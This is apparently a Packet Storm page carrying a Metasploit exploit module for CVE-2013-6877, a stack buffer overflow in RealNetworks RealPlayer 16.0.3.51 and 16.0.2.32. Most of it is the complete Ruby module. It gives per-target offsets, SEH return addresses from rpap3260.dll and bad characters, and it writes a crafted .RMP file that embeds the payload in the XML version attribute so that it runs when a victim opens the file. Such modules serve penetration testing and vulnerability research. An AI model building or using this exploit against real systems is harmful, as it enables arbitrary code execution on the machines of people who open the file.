exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RealNetworks RealPlayer Version Attribute Buffer Overflow

RealNetworks RealPlayer Version Attribute Buffer Overflow
Posted Dec 26, 2013
Authored by Gabor Seljan | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by improper bounds checking of the version and encoding attributes inside the XML declaration. By persuading the victim to open a specially-crafted .RMP file, a remote attacker could execute arbitrary code on the system or cause the application to crash.

tags | exploit, remote, overflow, arbitrary
advisories | CVE-2013-6877
SHA-256 | 8a8a413478986610cfe01a2463f28c4cb1a4e732df507042bac07cef2741232e

RealNetworks RealPlayer Version Attribute Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
improper bounds checking of the version and encoding attributes inside
the XML declaration.

By persuading the victim to open a specially-crafted .RMP file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabor Seljan' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6877' ],
[ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x22",
'Space' => 532,
},
'Targets' =>
[
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
{
'OffsetClick' => 2540, # Open via double click
'OffsetMenu' => 13600, # Open via File -> Open
'Ret' => 0x641930C8 # POP POP RET from rpap3260.dll
}
],
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
{
'OffsetClick' => 2540, # Open via double click
'OffsetMenu' => 13600, # Open via File -> Open
'Ret' => 0x63A630B8 # POP POP RET from rpap3260.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 20 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
],
self.class)

end

def exploit

sploit = rand_text_alpha_upper(target['OffsetClick'])
sploit << generate_seh_payload(target.ret)
sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
sploit << generate_seh_payload(target.ret)
sploit << rand_text_alpha_upper(17000) # Generate exception

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create("<?xml version=\"" + sploit + "\"?>")

end
end

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close